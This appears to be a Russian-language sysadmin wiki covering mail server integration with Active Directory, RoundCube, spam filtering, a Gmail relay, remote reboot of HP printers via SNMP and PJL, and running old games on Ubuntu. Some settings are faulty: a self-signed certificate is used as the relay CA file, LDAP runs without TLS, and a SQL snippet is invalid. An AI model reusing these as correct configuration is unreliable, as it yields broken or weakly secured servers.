bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&(objectclass=person)(mail=%s))
result_attribute= mail
result_format   = %d/%u/Maildir/
debuglevel      = 0

А /etc/dovecot/dovecot-ldap.conf должен выглядеть так:

hosts           = dc01.example.com:389
ldap_version    = 3
auth_bind       = yes
dn              = vmail
dnpass          = vmail_password
base            = cn=users,dc=example,dc=com
scope           = subtree
deref           = never

user_filter = (&(mail=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_filter     = (&(mail=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_attrs      = mail=user,userPassword=password
default_pass_scheme = CRYPT
user_attrs      = =home=/var/vmail/vmail1/%Ld/%Ln/Maildir/,=mail=maildir:/var/vmail/vmail1/%Ld/%Ln/Maildir/

Тут в user_filer меняем userPrincipalName=%u на mail=%u, а в pass_attrs добавляем mail=user

Рестарт dovecot:

service dovecot restart

При этом, логиниться в web-интерейс надо по имени ящика.

Интеграция RoundCube в AD

Редактируем файлик /opt/www/roundcubemail/config/config.inc.php: В нижней части файлика приводим раздел Global LDAP address book к такому виду:

// Global LDAP address book.
$config['ldap_public']["global_ldap_abook"] = array(
    'name'          => 'Global LDAP Address Book',
    'hosts'         => array('DC.your.domain.com'),
    'port'          => 389,
    'use_tls'       => false,
    'ldap_version'  => '3',
    'network_timeout' => 10,
    'user_specific' => false,

    // Search mail users under same domain.
    'base_dn'       => 'cn=users,dc=your_domain,dc=name',
    'bind_dn'       => 'vmail',
    'bind_pass'     => 'vmail_AD_password',
    'hidden'        => false,
    'searchonly'    => false,
    'writable'      => false,

    'search_fields' => array('mail', 'cn', 'sAMAccountName', 'displayname', 'sn', 'givenName'),

    // mapping of contact fields to directory attributes
    'fieldmap' => array(
        'name'        => 'cn',
        'surname'     => 'sn',
        'firstname'   => 'givenName',
        'title'       => 'title',
        'email'       => 'mail:*',
        'phone:work'  => 'telephoneNumber',
        'phone:mobile' => 'mobile',
        'street'      => 'street',
        'zipcode'     => 'postalCode',
        'locality'    => 'l',
        'department'  => 'departmentNumber',
        'notes'       => 'description',
        'phone:workfax' => 'facsimileTelephoneNumber',
        'photo'       => 'jpegPhoto',
    ),
    'sort'          => 'cn',
    'scope'         => 'sub',
    'filter'        =>  '(&(objectclass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))',
    'fuzzy_search'  => true,
    'vlv'           => false,   // Enable Virtual List View to more efficiently fetch paginated data (if server supports it)
    'sizelimit'     => '0',     // Enables you to limit the count of entries fetched. Setting this to 0 means no limit.
    'timelimit'     => '0',     // Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.
    'referrals'     => false,  // Sets the LDAP_OPT_REFERRALS option. Mostly used in multi-domain Active Directory setups

    'group_filters' => array(
        'departments' => array(
            'name'    => 'Mailing Lists',
            'scope'   => 'sub',
            'base_dn' => 'cn=users,dc=domain,dc=name',
            'filter'  => '(objectClass=group)',
            'name_attr' => 'cn',
            'email'     => 'mail',
        ),
    ),
);
$config['autocomplete_addressbooks'] = array('sql', 'global_ldap_abook');

Еще надо отредактировать /opt/www/roundcubemail/config/defaults.inc.php. Тут поправить два параметра:

$config['username_domain'] = 'your.domain.name';

$config['mail_domain'] = 'your.domain.name';

Если не поправлять, то в веб-интерфейсе почта юзверя буде выглядеть как username@127.0.0.1

Добавляем мобильный скин в RoundCube

cd ~
mkdir ./roundcube-mobile
cd ./roundcube-mobile/
wget -O Roundcube-Plugin-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Plugin-Mobile/archive/master.zip
wget -O Roundcube-Skin-Melanie2-Larry-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Skin-Melanie2-Larry-Mobile/archive/master.zip
wget -O Roundcube-Plugin-JQuery-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Plugin-JQuery-Mobile/archive/master.zip

unzip ./Roundcube-Plugin-JQuery-Mobile.zip
unzip ./Roundcube-Plugin-Mobile.zip
unzip ./Roundcube-Skin-Melanie2-Larry-Mobile.zip

sudo mkdir -p /opt/www/roundcubemail/skins
sudo mkdir -p /opt/www/roundcubemail/plugins

sudo mv ./Roundcube-Plugin-JQuery-Mobile-master /opt/www/roundcubemail/plugins/jquery_mobile
sudo mv ./Roundcube-Plugin-Mobile-master /opt/www/roundcubemail/plugins/mobile
sudo mv ./Roundcube-Skin-Melanie2-Larry-Mobile-master /opt/www/roundcubemail/skins/melanie2_larry_mobile

Теперь отредактируем файлик config.inc.php:

sudo nano /opt/www/roundcubemail/config/config.inc.php

и изменим содержимое строки config['plugins'], добавив туда mobile:

$config['plugins'] = array('managesieve', 'password','mobile');

Настройка виртуальных почтовых ящиков

Иногда нужно, чтобы у пользователя было два почтовых ящика. это называется virtual mailbox.

Как делать virtual mailbox средствами postfix описано тут: [http://www.postfix.org/VIRTUAL_README.html#virtual_alias].

Но администрировать это несколько неудобно.

Можно это сделать на базе AD.

Создается группа, в пределах OU, прописанного в конфигурации iRedMail - в этом гайдике это cn=Users,dn=domain,dn=name. Этой группе прописывается e-mail и пользователя, которому нужен этот второй e-mail добавляем в эту группу. Все. Письмо приходит на группу и отправляется всем пользователям в этой группе прописанным.

Включаем спаморезку и проверку антивирусом

sudo apt install amavisd-new spamassassin clamav-daemon
sudo apt install opendkim postfix-policyd-spf-python
sudo apt install pyzor razor
sudo apt install arj cabextract cpio lhasa nomarch pax rar unrar unzip zip
sudo adduser clamav amavis
sudo adduser amavis clamav

По-умолчанию, спаморезка и антивирус выключены. Для начала нужно включить spamassasin - в файлике /etc/default/spamassassin выставить:

 ENABLED=1

И выполнить:

sudo systemctl start spamassassin.service

Потом нужно отредактировать файлик /etc/amavis/conf.d/15-content_filter_mode. Там написано что нужно сделать.

Если у вас некоторый спам фильтруется, а некоторый проскакивает, то, возможно, нужно просто скорректировать пороговый spam level. Это можно сделать в файле /etc/amavis/conf.d/20-debian_defaults. Там есть группа параметров $sa_. Нужно уменьшить sa_kill_level_deflt. По умолчанию он 6.31. Я ставлю 4.0.

Чтобы спам удалялся нужно отредактировать файлик /etc/amavis/conf.d/20-debian_defaults. В нем найти параметр $final_spam_destiny и заменить его заначение на: $final_spam_destiny = D_DISCARD;

Отправка почты через SMTP Gmail

Ставим запчасти:

apt-get install mailutils libsasl2-2 ca-certificates libsasl2-modules

В файл /etc/postfix/main.cf нужно добавить:

relayhost = [smtp.gmail.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_use_tls = yes

Создать и положить на место самоподписанный сертификат:

openssl req -new > new.ssl.csr
openssl rsa -in privkey.pem -out new.cert.key
openssl x509 -in new.ssl.csr -out new.cert.cert -req -signkey new.cert.key -days 9999
cp ./new.cert.cert /etc/postfix/cacert.pem && cp ./new.cert.key /etc/postfix/cacert.key

Создать файл /etc/postfix/sasl_passwd с паролем для Gmail с таким содержимым:

[smtp.gmail.com]:587    USERNAME@gmail.com:PASSWORD

Изменить права на него:

chmod 400 /etc/postfix/sasl_passwd
postmap /etc/postfix/sasl_passwd

Применяем параметры и проверяем что получилось. Вместо you@example.com указываем почту куда уйдет тестовое сообщение:

sudo /etc/init.d/postfix reload
echo "Test mail from postfix" | mail -s "Test Postfix" you@example.com

/etc/postfix/main.cf

Вот пример файла /etc/postfix/main.cf:

# See /usr/share/postfix/main.cf.dist for a commented, more complete version
# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name.  The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

myhostname = mail.autosys.tk
alias_maps = hash:/etc/postfix/aliases
alias_database = hash:/etc/postfix/aliases
myorigin = mail.autosys.tk
mydestination = $myhostname, localhost, localhost.localdomain

relayhost = [smtp.gmail.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_use_tls = yes


mynetworks = 127.0.0.1, 192.168.77.0/24
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
#inet_protocols = all
inet_protocols = ipv4
virtual_alias_domains =
mydomain = mail.autosys.tk
allow_percent_hack = no
swap_bangpath = no
mynetworks_style = host

########################################################
##SMTPD Restricrions
########################################################
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
smtpd_data_restrictions = reject_unauth_pipelining
smtpd_reject_unlisted_recipient = yes
smtpd_reject_unlisted_sender = yes
smtpd_sender_restrictions = reject_unknown_sender_domain, reject_non_fqdn_sender, reject_unlisted_sender, permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated
delay_warning_time = 0h
maximal_queue_lifetime = 4h
bounce_queue_lifetime = 4h
proxy_read_maps = $canonical_maps $lmtp_generic_maps $local_recipient_maps $mydestination $mynetworks $recipient_bcc_maps $recipient_canonical_maps $relay_domains $relay_recipient_maps $relocated_maps $sender_bcc_maps $sender_canonical_maps $smtp_generic_maps $smtpd_sender_login_maps $transport_maps $virtual_alias_domains $virtual_alias_maps $virtual_mailbox_domains $virtual_mailbox_maps $smtpd_sender_restrictions
smtp_data_init_timeout = 240s
smtp_data_xfer_timeout = 600s
smtpd_helo_required = yes
smtpd_helo_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_helo_hostname, reject_invalid_helo_hostname, check_helo_access pcre:/etc/postfix/helo_access.pcre
queue_run_delay = 300s
minimal_backoff_time = 300s
maximal_backoff_time = 4000s
enable_original_recipient = no
disable_vrfy_command = yes
home_mailbox = Maildir/
allow_min_user = no
message_size_limit = 15728640
virtual_minimum_uid = 2000
virtual_uid_maps = static:2000
virtual_gid_maps = static:2000
virtual_mailbox_base = /var/vmail
transport_maps = hash:/etc/postfix/transport
virtual_alias_maps = proxy:ldap:/etc/postfix/ad_virtual_group_maps.cf
virtual_mailbox_domains = autosys.tk

virtual_mailbox_maps = proxy:ldap:/etc/postfix/ad_virtual_mailbox_maps.cf

sender_bcc_maps =
recipient_bcc_maps =
relay_domains =
smtpd_sender_login_maps = proxy:ldap:/etc/postfix/ad_sender_login_maps.cf
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = autosys.tk
broken_sasl_auth_clients = yes
smtpd_sasl_security_options = noanonymous
smtpd_recipient_restrictions = reject_unknown_recipient_domain, reject_non_fqdn_recipient, reject_unlisted_recipient, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination
smtpd_end_of_data_restrictions =  check_policy_service inet:127.0.0.1:10031
tls_random_source = dev:/dev/urandom
mailbox_command = /usr/lib/dovecot/deliver
virtual_transport = dovecot
dovecot_destination_recipient_limit = 1
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/dovecot-auth
content_filter = smtp-amavis:[127.0.0.1]:10024
smtp-amavis_destination_recipient_limit = 1
relay_recipient_maps =

#######################################################
# SSL/TLS parameters
#######################################################
smtpd_tls_cert_file = /etc/ssl/certs/iRedMail.crt
smtpd_tls_key_file = /etc/ssl/private/iRedMail.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

smtpd_tls_protocols = !SSLv2 !SSLv3
smtp_tls_protocols = !SSLv2 !SSLv3
lmtp_tls_protocols = !SSLv2 !SSLv3
smtpd_tls_mandatory_protocols = !SSLv2 !SSLv3
smtp_tls_mandatory_protocols = !SSLv2 !SSLv3
lmtp_tls_mandatory_protocols = !SSLv2 !SSLv3
smtpd_tls_mandatory_exclude_ciphers = aNULL, eNULL, EXPORT, DES, RC4, MD5, PSK, aECDH, EDH-DSS-DES-CBC3-SHA, EDH-RSA-DES-CDC3-SHA, KRB5-DE5, CBC3-SHA
smtpd_tls_dh1024_param_file = /etc/ssl/dhparams.pem
smtp_tls_security_level = may
#smtp_tls_CAfile = $smtpd_tls_CAfile
smtp_tls_loglevel = 0
smtp_tls_note_starttls_offer = yes

smtpd_tls_security_level = may
smtpd_tls_loglevel = 0
smtpd_tls_CAfile = /etc/ssl/certs/iRedMail.crt

smtpd_tls_auth_only = yes

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.

Настройка postfix для работы с SSL сертификатом let's encrypt

/etc/dovecot/dovecot.conf

ssl = required
disable_plaintext_auth = yes
ssl_cert = </etc/letsencrypt/live/njoror.squashedfly.eu/fullchain.pem
ssl_key = </etc/letsencrypt/live/njoror.squashedfly.eu/privkey.pem

Тут важно обратить внимание на символы < перед путями к сертификату и ключу.

/etc/postfix/main.cf

smtpd_use_tls = yes
smtp_use_tls = yes
smtp_tls_security_level = may
smtpd_tls_security_level = may
smtpd_tls_ciphers = high
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_tls_loglevel = 1
smtpd_tls_protocols = !SSLv2, !SSLv3
smtpd_tls_cert_file=/etc/letsencrypt/live/njoror.squashedfly.eu/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/njoror.squashedfly.eu/privkey.pem
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

Затем выполняем:

/etc/init.d/postfix reload

Если в файлике конфигурации есть повторяющиеся строки - убираем ненужное.
Для того, чтобы убедиться, что все корректно стратует - перезагружаемся.
После этого можно проверить, что наш сервер корректно предоставляет сертификат при подключении SSL.
Подключения IMAP через SSL проверяем так:

openssl s_client -showcerts -connect mail.example.com:993

Сервер должен ответить сертификатом.
Подключения POP3 через SSL проверяем так:

openssl s_client -showcerts -connect mail.example.com:995

remote_reboot_hp_printer

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Remote Reboot via SNMP

Способ перезагрузки через snmp:

sudo apt-get install snmp
snmpset -v1 -c public x.x.x.x .1.3.6.1.2.1.43.5.1.1.3.1 integer 4

Точно работает с устройствами семейств HP MFP 400 и HP MFP 521

Remote Reboot via FTP

Для перезагрузки через FTP нужно создать файлик reboot.txt с таким содержимым:

%-12345X@PJL COMMENT
@PJL DMINFO ASCIIHEX="040006020501010301040105"
%-12345X

Либо для более новых принтеров (проверено на HP 1320) с таким:

%-12345X@PJL COMMENT Print PCL Font List
@PJL DMINFO ASCIIHEX = "040004010105020402015E"
%-12345X

Затем этот файлик нужно закинуть на принтер. В Windows для этого в командной стироке выполняем:

ftp x.x.x.x

После подключенния принтер спросит имя пользователя и пароль. По-умолчанию - пустые. После успешной аутентификации кладем файлик на принтер:

put x:\pathtofile\reboot.txt

Принтер должен перезагрузиться.

rename_files_with_spaces

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

   #! /bin/bash
    # blank-rename.sh
    #
    # Заменяет пробелы символом подчеркивания в именах файлов в текущем каталоге.
    ONE=1                     # единственное или множественное число (см. ниже).
    number=0                  # Количество переименованных файлов.
    FOUND=0                   # Код завершения в случае успеха.
    for filename in *         # Перебор всех файлов в текущем каталоге.
    do
         echo "$filename" | grep -q " "         #  Проверить — содержит ли имя файла
         if [ $? -eq $FOUND ]                   #+ пробелы.
         then
           fname=$filename                      # Удалить путь из имени файла.
           n=`echo $fname | sed -e "s/ /_/g"`   # Заменить пробелы символом подчеркивания.
           mv "$fname" "$n"                     # Переименование.
           let "number += 1"
         fi
    done
    if [ "$number" -eq "$ONE" ]
    then
     echo "$number файл переименован."
    else
     echo "Переименовано файлов: $number"
    fi
    exit 0

restore_permissions_after_chmod_chown

anonymous@undisclosed.example.com (Anonymous) — Sat, 30 Apr 2022 20:21:36 +0000

RPM-based

В RPM-based системах восстановить дефолтные разрешения на файлы установленных пакетов просто. Для этого есть специальные ключи для rpm:

rpm --setugids -a
rpm --setperms -a

Debian/Ubuntu

В Debian-based системах восстановить дефолтные (как после установки) разршения на файлы пакетов можно с помощью утилиты debsums, которая проверяет контрольные суммы файлов и сравнивает с теми, что в пакетах. В том числе и для конфигурационных файлов.

sudo apt-get install debsums

И дальше проверяем и переустанввливаем то что повреждено:

apt-get install --reinstall $(dpkg -S $(debsums -c) | cut -d : -f 1 | sort -u)

Или только для заданного пути (например /usr):

apt-get install --reinstall $(dpkg -S $(debsums -c | grep -e ^/usr ) | cut -d : -f 1 | sort -u)

Или для группы директорий:

apt-get install --reinstall $(dpkg -S $(debsums -c | grep -e ^/etc -e ^/sbin -e ^/var  ) | cut -d : -f 1 | sort -u)

rotate_video_without_re_encoding

anonymous@undisclosed.example.com (Anonymous) — Sun, 03 Oct 2021 12:25:35 +0000

Как развернуть картинку без перекодирования видеофайла

Иногда так случается, что видеоролик начинаешь снимать из вертикального положения, но продолжаешь снимать горизонтально. В итоге файл записыватся вертикальным, но с горизонтальной картинкой.
В с помошью утилиты ffmpeg можно внести изменения в метаданные файла, что позволит просматривать его в нужной ориентации без перекодирования.
Команда такая:

ffmpeg -i input.mp4 -c copy -metadata:s:v:0 rotate=90 output_rotated.mp4

Немного неочевидно, но для переворота видяхи на 180 градусов может понадобиться указывать не

rotate=90

rotate=0

То есть:

ffmpeg -i input.mp4 -c copy -metadata:s:v:0 rotate=0 output_rotated.mp4

roundcubemail_upgrade_error_database_schema_update

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

при обновлении roundcube возникает ошибка:

 
Running update script at target...
Executing database schema update.
Error 500: Error in DDL upgrade 2016112200: [1060] Duplicate column name 'id'
Updating database schema (2016112200)... [FAILED]

Она сообщает, что при попытке обновления mysql-базы roundcube, скрипт пытается создать колонку, которая уже существует.
Выход - либо поправить скрипт обновления, либо привести базу в соответствие со скриптом. Я попытался привести базу в соответствие со скриптом. Запускаем mysql и удаляем руками колонку id из таблицы dictionary

sudo mysql
mysql> USE roundcubemail;
mysql> ALTER TABLE dictionary DROP id;

После этого - восстанавливаю папку с roundcube из бекапа в состояние, которое было до апгрейда (/opt/www/roundcube) и пытаюсь запустить апгрейд снова.
Теперь скрипт ругается на отсутствие прав на некоторые таблицы. Даем эти права:

sudo mysql
mysql> USE roundcubemail;
mysql> GRANT CREATE ON roundcubemail.* TO 'roundcube'@'localhost';
mysql> GRANT SELECT,INSERT,UPDATE,DELETE,DROP ON cache_shared to 'roundcube'@'localhost';
mysql> GRANT SELECT,INSERT,UPDATE,DELETE,DROP ON cache to 'roundcube'@'localhost';
mysql> GRANT REFERENCES ON users to 'roundcube'@'localhost';
mysql> flush privileges;

В дальнейшем mysql-скрипт 2016112200 ругался еще на какие-то объекты, которые уже были в базе, а он пытался их пересоздать и я отредактировал сам скрипт из папки ./SQL/… В общем - обновиться получилось.

rsyslog_mysql_loganalyzer_shrink

anonymous@undisclosed.example.com (Anonymous) — Sat, 08 Jun 2019 18:11:11 +0000

select count(*) from syslog where ReceivedAt > (curdate() - 3 months)

if it seems what you want to delete just replace select count with delete

running_chromedriver_on_arm_aarch64_machines

anonymous@undisclosed.example.com (Anonymous) — Thu, 10 Apr 2025 13:25:06 +0000

CHROME_VERSION='119.0.6045.105'
curl -L -s -o  /tmp/chromedriver-linux64.zip https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/${CHROME_VERSION}/linux64/chromedriver-linux64.zip
unzip /tmp/chromedriver-linux64.zip -d /opt


apt-get update
apt-get install -y qemu-user-static binfmt-support curl unzip

Types: deb
URIs: http://ae.archive.ubuntu.com/ubuntu/
Suites: noble noble-updates noble-backports noble-security
Components: main universe restricted multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
Architectures: amd64

apt install libc6:amd64 libglib2.0-0t64:amd64 libxi6:amd64 libjq1:amd64 libonig5:amd64 \
libxkbcommon0:amd64 libxss1:amd64 libglib2.0-0:amd64 libnss3:amd64 \
  libfontconfig1:amd64 libatk-bridge2.0-0:amd64 libatspi2.0-0:amd64 libgtk-3-0:amd64 libpango-1.0-0:amd64 libgdk-pixbuf2.0-0:amd64 libxcomposite1:amd64 \
  libxcursor1:amd64 libxdamage1:amd64 libxtst6:amd64 libappindicator3-1:amd64 libasound2t64:amd64 libatk1.0-0:amd64 libcairo2:amd64 libcups2:amd64 libxfixes3:amd64 \
  libdbus-1-3:amd64 libexpat1:amd64 libgcc1:amd64 libnspr4:amd64 libgbm1:amd64 libpangocairo-1.0-0:amd64 libstdc++6:amd64 libx11-6:amd64 libx11-xcb1:amd64 libxcb1:amd64 libxext6:amd64 \
  libxrandr2:amd64 libxrender1:amd64


qemu-x86_64-static /opt/chromedriver-linux64/chromedriver

run_quake2_on_ubuntu_with_bots

anonymous@undisclosed.example.com (Anonymous) — Tue, 16 Nov 2021 07:09:32 +0000

На дворе 2021 год. Я захотел поиграть в quake2 с ботами.
Система - Ubuntu 20.10
Устанавливаем Quake2 и то что нужно, чтобы его запустить:

sudo apt-get install quake2 game-data-packager innoextract

Собираем пакет с данными:

game-data-packager quake2 --package quake2-full-data ~/Games/q2/

И устанавливаем его

sudo apt-get install ~/quake2-full-data_65_all.deb

В результате установится Yamagi Quake2.
Исполняемый файлик будет тут: /usr/lib/yamagi-quake2/quake2
Директория с данными - /usr/share/games/quake2/

CTF + Deathmatch на базе 3zb2

https://github.com/DirtBagXon/3zb2-zigflag

git clone https://github.com/DirtBagXon/3zb2-zigflag.git
cd 3zb2-zigflag/
sudo cp -R 3zb2 /usr/share/games/quake2/3zb2
make
sudo cp release/game.so /usr/share/games/quake2/3zb2/game.so
sudo cp release/game.so /usr/share/games/quake2/3zb2/gamex86.so
sudo cp release/game.so /usr/share/games/quake2/3zb2/gamex64.so

Всё. Можно запускать deathmatch:

/usr/lib/yamagi-quake2/quake2 -datadir /usr/share/games/quake2/ +set basepath /usr/share/games/quake2/ +set game 3zb2 +set deathmatch 1 +set autospawn 10 +exec game.cfg

Апгрейд графики Quake2

https://www.moddb.com/mods/quake-2-xp
http://quakegate.ru/forum/topic741/
https://sourceforge.net/projects/quake2xp/files/linux%20release/
https://github.com/thro/quake2xp

Заставить работать на встроенной карте AMD Ryzen 4800H не удалось о чем честно написано тут: http://quakegate.ru/forum/topic893/! Собрать quake2xp на текущей версии Ubuntu 21.10 удалось не сразу. Понадобилось обновить скрипт waf и поставить старенький gcc8.
С текущим gcc11 возникала ошибка линкера collect2:

[ 49/244] Linking build/baseq2/gamexp.so
...
collect2: error: ld returned 1 exit status

Ставим то что понадобится для сборки:

sudo apt-get install build-essential libvorbis-dev libdevil-dev libsdl1.2-dev libopenal-dev

Ставим gcc8:

sudo apt-get update && sudo apt-get install build-essential software-properties-common -y && sudo add-apt-repository ppa:ubuntu-toolchain-r/test -y && sudo apt-get update && sudo apt-get install gcc-8 g++-8 -y && sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 60 --slave /usr/bin/g++ g++ /usr/bin/g++-8 && gcc -v

Клонируем исходники:

git clone https://github.com/thro/quake2xp

И свежий waf:

git clone https://gitlab.com/ita1024/waf.git

Собираем waf:

cd waf/
python3 ./waf-light configure build

Копируем свежий waf в директорию с исходниками quake2xp

cp ./waf ../quake2xp/waf

Конфигурируем сборку. При необходимости указываем нужный префикс для инсталляции (дефолтный - /usr/local) с помощью параметра

python waf configure

или

python waf configure --prefix=$HOME/local

Собираем:

python waf -v -j1

Устанавливаем исполняемые компоненты:

python waf install

В итоге по-дефолту все установится в /usr/local:

+ install /usr/local/share/quake2xp/baseq2/gamexp.so (from build/baseq2/gamexp.so)
+ install /usr/local/share/quake2xp/xatrix/gamexp.so (from build/xatrix/gamexp.so)
+ install /usr/local/share/quake2xp/rogue/game.so (from build/rogue/game.so)
+ install /usr/local/bin/quake2xp (from build/quake2xp)

Скачиваем файлики необходимые для работы quake2xp: https://disk.yandex.ru/d/RP5yRSM-sx5ck или https://disk.yandex.ru/d/OtMgvf03VDXcew
Распаковываем и копируем куда надо:

sudo cp ~/Downloads/quake2xp/* /usr/local/share/quake2xp/

Копируем файлы из оригинальной игры:

sudo cp -R /usr/share/games/quake2/baseq2/* //usr/local/share/quake2xp/baseq2/

Клонируем и копируем шейдеры

svn checkout svn://svn.code.sf.net/p/quake2xp/code/glsl glsl
sudo cp -R ./glsl /usr/local/share/quake2xp/baseq2/

Клонируем и копируем карты освещения:

svn checkout svn://svn.code.sf.net/p/quake2xp/code/maps maps
svn checkout svn://svn.code.sf.net/p/quake2xp/code/mapsx mapsx
sudo cp -r ./maps/* //usr/local/share/quake2xp/baseq2/maps/
sudo cp -r ./maps/* /usr/local/share/quake2xp/baseq2/maps/

Фиксим права на листинг директорий:

sudo chmod a+x /usr/local/share/quake2xp/baseq2/
sudo chmod a+x /usr/local/share/quake2xp/baseq2
sudo chmod a+x /usr/local/share/quake2xp/baseq2/infantry
sudo chmod a+x /usr/local/share/quake2xp/baseq2/maps
sudo chmod a+x /usr/local/share/quake2xp/baseq2/models/
sudo chmod a+x /usr/local/share/quake2xp/baseq2/pics
sudo chmod a+x /usr/local/share/quake2xp/baseq2/players
sudo chmod a+x /usr/local/share/quake2xp/baseq2/soldier
sudo chmod a+x /usr/local/share/quake2xp/baseq2/video

3zb2

Вероятно лучшие боты для quake2 - https://github.com/yquake2/3zb2

crbots

Боты crbot (с исходниками) - https://www.angelfire.com/mt2/quakebots/crbotandsrc.tar.gz
Для того, чтобы можно было запустить ботов нужно скопировать папку с ботами в директорию с данными игры:

sudo cp -R./crbot /usr/share/games/quake2/

Исполняемый файл с ботами должен иметь имя game.so. Я попробывал перемиеновать уже собранный файл gamei386.so в game.so, но ожидаемо получил сообщениео не несовместимости:

/usr/share/games/quake2/crbot/game.so

Устанавливаем немного зависимостей

sudo apt-get install libc6-dev build-essential

Дальше берем Makefile для сборки под linux (из папки crbot/crbotsource/RESOURCE/Linux Makefile/ ) и копируем его в папку пробуем собрать. И они нормально собираются, но файлик gamex86_64.so нужно переименовать в game.so.
Вот подправленные crbot, который нормально собираются современными компиляторами: crbot_patched.tar.gz

run_unreal_rournament_99_in_ubuntu_x86_64

anonymous@undisclosed.example.com (Anonymous) — Sun, 07 Feb 2021 19:55:55 +0000

Установка версии 436

https://github.com/XenGi/oldgames/tree/master/ut

CD-ROMs

Вот с этой страницы https://www.old-games.ru/game/download/716.html скачиваем два файла:
https://dl.old-games.su/get/8O5Gk-6LBKEOxbcldXv-_Q==,1612863344/pc/unreal_tournament/files/Unreal_Tournament_CD1_ISO.rar
https://dl.old-games.su/get/jzDoF_Et79lTYY_xeMwY5g==,1612863359/pc/unreal_tournament/files/Unreal_Tournament_CD2_ISO.rar

unreal.tournament_436-multilanguage.goty.run

Вот отсюда https://www.unreal4fun.net/joomla/index.php/downloads/summary/13-ut-updates-official/42-ut-436-linux-full-installer-goty я скачал инсталлятор unreal.tournament_436-multilanguage.goty.run

Скачиваем архив с библиотеками - ut99.zip
Пытаемся их поставить:

sudo apt-get install libsm6:i386 libgl1:i386 libsdl1.2debian:i386
sudo apt-get install ./libgtk1.2-common_1.2.10-18_all.deb

В файле /var/lib/dpkg/status добавляем строку

Multi-Arch: foreign

в статус пакета libgtk1.2-common:

...
Package: libgtk1.2-common
 Status: install ok installed
 Multi-Arch: foreign
 Priority: optional
 Section: misc
 Installed-Size: 944

и ставим последнюю библиотечку:

sudo apt-get install ./libgtk1.2_1.2.10-18_i386.deb

Монтируем CD-ROM:

Запускаем инсталлятор:

sudo linux32 sh unreal.tournament_436-multilanguage.goty.run

После установки пробуем запуститься:

cd /usr/local/games/ut
./ut

Но я получал:

Signal: SIGSEGV [segmentation fault]
Aborting.
Segmentation fault (core dumped)

Нужно включить софтовый рендер. При первом запуске будет создан файл ~/.loki/ut/System/UnrealTournament.ini. В нем нужно поправить параметры:

[Engine.Engine]
GameRenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice
WindowedRenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice
RenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice

В итоге - игра запустилась, но без аппаратного ускорения и без звука.

Установка версии 451

git clone https://github.com/liflg/unreal.tournament_451-english_x86.git
cd unreal.tournament_451-english_x86/data
chmod +x ./ut
sudo find ./ -name '*.tar.xz' -exec tar -xvf {} -C /usr/local/games/ut \;
sudo cp ./ut /usr/local/games/ut/
sudo cp ./ucc /usr/local/games/ut/
sudo cp ./ut.xpm /usr/local/games/ut/

Запускаем нативный OpenGl

https://www.pcgamingwiki.com/wiki/Unreal_Tournament#Linux
https://community.pcgamingwiki.com/files/file/971-ut-native-linux-451-patched/

Вот тут человек запускал успешно версию 436, правда он запускал на ArchLinux и патчил Mesa - https://www.gamingonlinux.com/articles/the-sad-case-of-unreal-engine-1-on-mesa-and-linux-in-2020.15915/page=4

russian_codepage_filenames_on_linux_shares

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

На Ubuntu 16.04, у которой имена файлов в UTF8 поднята шара NFS.
При доступе к ней с хоста Windows 2012 русские имена файлов отображаются как кракозябры. Очевидно, Windows ожидает увидеть имена файлов в cp1251.

Что же можно сделать

А можно установить хитрую прогу, которая создаст отдельную точку монтирования, в которой имена указанной директории будут в нужной кодировке: http://fuse-convmvfs.sourceforge.net/

script_setup_ubuntu_samba_to_join_ad

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

#! /bin/bash

